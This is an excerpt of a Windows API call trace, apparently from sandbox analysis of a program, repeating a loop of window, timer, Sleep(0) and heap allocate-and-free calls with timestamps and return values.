[0033.256] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.256] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.256] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.256] timeGetTime () returned 0x1143562 [0033.256] Sleep (dwMilliseconds=0x0) [0033.256] GetProcessHeap () returned 0x790000 [0033.256] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.256] GetProcessHeap () returned 0x790000 [0033.257] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.257] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.257] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.257] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.257] timeGetTime () returned 0x1143562 [0033.257] Sleep (dwMilliseconds=0x0) [0033.257] GetProcessHeap () returned 0x790000 [0033.257] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.257] GetProcessHeap () returned 0x790000 [0033.257] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.257] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.257] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.257] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.257] timeGetTime () returned 0x1143562 [0033.257] Sleep (dwMilliseconds=0x0) [0033.257] GetProcessHeap () returned 0x790000 [0033.257] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.257] GetProcessHeap () returned 0x790000 [0033.257] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.257] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.257] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.257] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.257] timeGetTime () returned 0x1143562 [0033.257] Sleep (dwMilliseconds=0x0) [0033.257] GetProcessHeap () returned 0x790000 [0033.257] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.257] GetProcessHeap () returned 0x790000 [0033.257] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.257] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.257] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.257] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.257] timeGetTime () returned 0x1143562 [0033.257] Sleep (dwMilliseconds=0x0) [0033.257] GetProcessHeap () returned 0x790000 [0033.257] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.257] GetProcessHeap () returned 0x790000 [0033.258] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.258] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.258] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.258] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.258] timeGetTime () returned 0x1143562 [0033.258] Sleep (dwMilliseconds=0x0) [0033.258] GetProcessHeap () returned 0x790000 [0033.258] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.258] GetProcessHeap () returned 0x790000 [0033.258] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.258] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.258] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.258] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.258] timeGetTime () returned 0x1143562 [0033.258] Sleep (dwMilliseconds=0x0) [0033.258] GetProcessHeap () returned 0x790000 [0033.258] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.258] GetProcessHeap () returned 0x790000 [0033.258] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.258] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.258] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.258] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.258] timeGetTime () returned 0x1143562 [0033.258] Sleep (dwMilliseconds=0x0) [0033.258] GetProcessHeap () returned 0x790000 [0033.258] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.258] GetProcessHeap () returned 0x790000 [0033.258] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.258] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.258] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.258] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.258] timeGetTime () returned 0x1143562 [0033.258] Sleep (dwMilliseconds=0x0) [0033.258] GetProcessHeap () returned 0x790000 [0033.258] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.258] GetProcessHeap () returned 0x790000 [0033.258] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.259] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.259] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.259] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.259] timeGetTime () returned 0x1143562 [0033.259] Sleep (dwMilliseconds=0x0) [0033.259] GetProcessHeap () returned 0x790000 [0033.259] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.259] GetProcessHeap () returned 0x790000 [0033.259] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.259] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.259] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.259] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.259] timeGetTime () returned 0x1143562 [0033.259] Sleep (dwMilliseconds=0x0) [0033.259] GetProcessHeap () returned 0x790000 [0033.259] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.259] GetProcessHeap () returned 0x790000 [0033.259] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.259] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.259] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.259] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.259] timeGetTime () returned 0x1143562 [0033.259] Sleep (dwMilliseconds=0x0) [0033.259] GetProcessHeap () returned 0x790000 [0033.259] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.259] GetProcessHeap () returned 0x790000 [0033.259] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.259] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.259] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.259] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.259] timeGetTime () returned 0x1143562 [0033.259] Sleep (dwMilliseconds=0x0) [0033.259] GetProcessHeap () returned 0x790000 [0033.259] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.259] GetProcessHeap () returned 0x790000 [0033.259] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.260] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.260] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.260] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.260] timeGetTime () returned 0x1143562 [0033.260] Sleep (dwMilliseconds=0x0) [0033.260] GetProcessHeap () returned 0x790000 [0033.260] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.260] GetProcessHeap () returned 0x790000 [0033.260] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.260] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.260] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.260] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.260] timeGetTime () returned 0x1143562 [0033.260] Sleep (dwMilliseconds=0x0) [0033.260] GetProcessHeap () returned 0x790000 [0033.260] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.260] GetProcessHeap () returned 0x790000 [0033.260] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.260] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.260] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.260] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.260] timeGetTime () returned 0x1143562 [0033.260] Sleep (dwMilliseconds=0x0) [0033.260] GetProcessHeap () returned 0x790000 [0033.260] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.260] GetProcessHeap () returned 0x790000 [0033.260] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.260] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.260] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.260] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.260] timeGetTime () returned 0x1143562 [0033.260] Sleep (dwMilliseconds=0x0) [0033.260] GetProcessHeap () returned 0x790000 [0033.260] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.260] GetProcessHeap () returned 0x790000 [0033.260] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.261] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.261] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.261] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.261] timeGetTime () returned 0x1143562 [0033.261] Sleep (dwMilliseconds=0x0) [0033.261] GetProcessHeap () returned 0x790000 [0033.261] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.261] GetProcessHeap () returned 0x790000 [0033.261] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.261] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.261] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.261] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.261] timeGetTime () returned 0x1143562 [0033.261] Sleep (dwMilliseconds=0x0) [0033.261] GetProcessHeap () returned 0x790000 [0033.261] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.261] GetProcessHeap () returned 0x790000 [0033.261] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.261] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.261] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.261] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.261] timeGetTime () returned 0x1143562 [0033.261] Sleep (dwMilliseconds=0x0) [0033.261] GetProcessHeap () returned 0x790000 [0033.261] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.261] GetProcessHeap () returned 0x790000 [0033.261] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.261] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.261] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.261] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.261] timeGetTime () returned 0x1143562 [0033.261] Sleep (dwMilliseconds=0x0) [0033.261] GetProcessHeap () returned 0x790000 [0033.261] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.261] GetProcessHeap () returned 0x790000 [0033.261] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.261] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.262] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.262] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.262] timeGetTime () returned 0x1143562 [0033.262] Sleep (dwMilliseconds=0x0) [0033.262] GetProcessHeap () returned 0x790000 [0033.262] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.262] GetProcessHeap () returned 0x790000 [0033.262] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.262] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.262] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.262] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.262] timeGetTime () returned 0x1143562 [0033.262] Sleep (dwMilliseconds=0x0) [0033.262] GetProcessHeap () returned 0x790000 [0033.262] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.262] GetProcessHeap () returned 0x790000 [0033.262] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.262] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.262] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.262] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.262] timeGetTime () returned 0x1143562 [0033.262] Sleep (dwMilliseconds=0x0) [0033.262] GetProcessHeap () returned 0x790000 [0033.262] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.262] GetProcessHeap () returned 0x790000 [0033.262] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.262] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.262] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.262] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.262] timeGetTime () returned 0x1143562 [0033.262] Sleep (dwMilliseconds=0x0) [0033.262] GetProcessHeap () returned 0x790000 [0033.262] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.262] GetProcessHeap () returned 0x790000 [0033.262] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.262] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.263] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.263] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.263] timeGetTime () returned 0x1143562 [0033.263] Sleep (dwMilliseconds=0x0) [0033.263] GetProcessHeap () returned 0x790000 [0033.263] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.263] GetProcessHeap () returned 0x790000 [0033.263] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.263] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.263] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.263] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.263] timeGetTime () returned 0x1143562 [0033.263] Sleep (dwMilliseconds=0x0) [0033.263] GetProcessHeap () returned 0x790000 [0033.263] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.263] GetProcessHeap () returned 0x790000 [0033.263] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.263] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.263] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.263] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.263] timeGetTime () returned 0x1143572 [0033.263] Sleep (dwMilliseconds=0x0) [0033.263] GetProcessHeap () returned 0x790000 [0033.263] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.263] GetProcessHeap () returned 0x790000 [0033.263] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.263] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.263] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.264] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.264] timeGetTime () returned 0x1143572 [0033.264] Sleep (dwMilliseconds=0x0) [0033.264] GetProcessHeap () returned 0x790000 [0033.264] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.264] GetProcessHeap () returned 0x790000 [0033.264] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.264] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.264] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.264] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.264] timeGetTime () returned 0x1143572 [0033.264] Sleep (dwMilliseconds=0x0) [0033.264] GetProcessHeap () returned 0x790000 [0033.264] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.264] GetProcessHeap () returned 0x790000 [0033.264] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.264] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.264] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.264] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.264] timeGetTime () returned 0x1143572 [0033.264] Sleep (dwMilliseconds=0x0) [0033.264] GetProcessHeap () returned 0x790000 [0033.264] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.264] GetProcessHeap () returned 0x790000 [0033.264] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.264] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.264] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.264] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.264] timeGetTime () returned 0x1143572 [0033.264] Sleep (dwMilliseconds=0x0) [0033.264] GetProcessHeap () returned 0x790000 [0033.264] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.264] GetProcessHeap () returned 0x790000 [0033.264] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.264] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.264] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.265] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.265] timeGetTime () returned 0x1143572 [0033.265] Sleep (dwMilliseconds=0x0) [0033.265] GetProcessHeap () returned 0x790000 [0033.265] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.265] GetProcessHeap () returned 0x790000 [0033.265] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.265] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.265] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.265] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.265] timeGetTime () returned 0x1143572 [0033.265] Sleep (dwMilliseconds=0x0) [0033.265] GetProcessHeap () returned 0x790000 [0033.265] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.265] GetProcessHeap () returned 0x790000 [0033.265] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.265] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.265] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.265] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.265] timeGetTime () returned 0x1143572 [0033.265] Sleep (dwMilliseconds=0x0) [0033.265] GetProcessHeap () returned 0x790000 [0033.265] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.265] GetProcessHeap () returned 0x790000 [0033.265] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.265] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.265] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.265] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.265] timeGetTime () returned 0x1143572 [0033.265] Sleep (dwMilliseconds=0x0) [0033.265] GetProcessHeap () returned 0x790000 [0033.265] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.265] GetProcessHeap () returned 0x790000 [0033.265] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.265] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.265] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.265] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.266] timeGetTime () returned 0x1143572 [0033.266] Sleep (dwMilliseconds=0x0) [0033.266] GetProcessHeap () returned 0x790000 [0033.266] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.266] GetProcessHeap () returned 0x790000 [0033.266] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.266] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.266] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.266] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.266] timeGetTime () returned 0x1143572 [0033.266] Sleep (dwMilliseconds=0x0) [0033.266] GetProcessHeap () returned 0x790000 [0033.266] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.266] GetProcessHeap () returned 0x790000 [0033.266] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.266] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.266] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.266] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.266] timeGetTime () returned 0x1143572 [0033.266] Sleep (dwMilliseconds=0x0) [0033.266] GetProcessHeap () returned 0x790000 [0033.266] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.266] GetProcessHeap () returned 0x790000 [0033.266] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.266] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.266] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.266] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.266] timeGetTime () returned 0x1143572 [0033.266] Sleep (dwMilliseconds=0x0) [0033.266] GetProcessHeap () returned 0x790000 [0033.266] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.266] GetProcessHeap () returned 0x790000 [0033.266] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.266] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.266] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.266] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.267] timeGetTime () returned 0x1143572 [0033.267] Sleep (dwMilliseconds=0x0) [0033.267] GetProcessHeap () returned 0x790000 [0033.267] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.267] GetProcessHeap () returned 0x790000 [0033.267] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.267] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.267] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.267] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.267] timeGetTime () returned 0x1143572 [0033.267] Sleep (dwMilliseconds=0x0) [0033.267] GetProcessHeap () returned 0x790000 [0033.267] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.267] GetProcessHeap () returned 0x790000 [0033.267] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.267] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.267] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.267] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.267] timeGetTime () returned 0x1143572 [0033.267] Sleep (dwMilliseconds=0x0) [0033.267] GetProcessHeap () returned 0x790000 [0033.267] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.267] GetProcessHeap () returned 0x790000 [0033.267] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.267] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.267] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.267] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.267] timeGetTime () returned 0x1143572 [0033.267] Sleep (dwMilliseconds=0x0) [0033.267] GetProcessHeap () returned 0x790000 [0033.267] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.267] GetProcessHeap () returned 0x790000 [0033.267] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.267] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.267] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.267] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.268] timeGetTime () returned 0x1143572 [0033.268] Sleep (dwMilliseconds=0x0) [0033.268] GetProcessHeap () returned 0x790000 [0033.268] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.268] GetProcessHeap () returned 0x790000 [0033.268] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.268] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.268] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.268] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.268] timeGetTime () returned 0x1143572 [0033.268] Sleep (dwMilliseconds=0x0) [0033.268] GetProcessHeap () returned 0x790000 [0033.268] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.268] GetProcessHeap () returned 0x790000 [0033.268] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.268] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.268] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.268] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.268] timeGetTime () returned 0x1143572 [0033.268] Sleep (dwMilliseconds=0x0) [0033.268] GetProcessHeap () returned 0x790000 [0033.268] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.268] GetProcessHeap () returned 0x790000 [0033.268] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.268] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.268] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.268] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.268] timeGetTime () returned 0x1143572 [0033.268] Sleep (dwMilliseconds=0x0) [0033.268] GetProcessHeap () returned 0x790000 [0033.268] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.268] GetProcessHeap () returned 0x790000 [0033.268] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.268] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.268] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.268] 